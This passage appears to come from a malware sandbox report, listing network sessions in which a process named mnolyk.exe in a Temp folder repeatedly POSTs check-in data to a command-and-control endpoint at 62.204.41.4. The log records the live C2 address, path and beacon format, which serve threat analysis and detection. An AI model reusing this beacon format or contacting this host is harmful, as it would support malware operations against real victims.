Feb 7, 2023 23:07:48.380254030 CET	294	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:48.444046974 CET	294	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.7	49712	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:05.940453053 CET	122	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:06.005084991 CET	122	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.7	49875	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:48.616862059 CET	295	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:48.682903051 CET	295	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.7	49876	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:48.864984989 CET	296	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:48.928950071 CET	296	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.7	49877	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:49.111851931 CET	297	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:49.175546885 CET	297	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.7	49878	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:49.349230051 CET	298	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:49.413600922 CET	298	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.7	49879	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:49.589027882 CET	299	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:49.653786898 CET	299	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.7	49880	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:49.880281925 CET	300	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:49.943093061 CET	300	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.7	49881	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:50.123193026 CET	301	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:50.187123060 CET	301	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.7	49882	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:50.365010023 CET	302	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:50.429949045 CET	302	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.7	49883	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:50.617718935 CET	303	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:50.682765961 CET	303	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.7	49884	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:50.864769936 CET	304	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:50.929433107 CET	304	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.7	49713	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:06.192940950 CET	123	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:06.257908106 CET	123	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.7	49885	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:51.097831964 CET	305	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:51.160739899 CET	305	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.7	49886	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:51.330001116 CET	306	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:51.391896963 CET	306	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.7	49887	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:51.576052904 CET	307	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:51.638092041 CET	307	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.7	49888	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:51.818185091 CET	308	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:51.879987001 CET	308	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.7	49889	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:52.061130047 CET	309	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:52.125670910 CET	309	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.7	49890	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:52.300017118 CET	310	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:52.362855911 CET	310	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.7	49891	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:52.534100056 CET	311	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:52.596692085 CET	311	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.7	49892	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:52.780225039 CET	312	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:52.843852043 CET	312	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.7	49893	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:53.025577068 CET	313	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
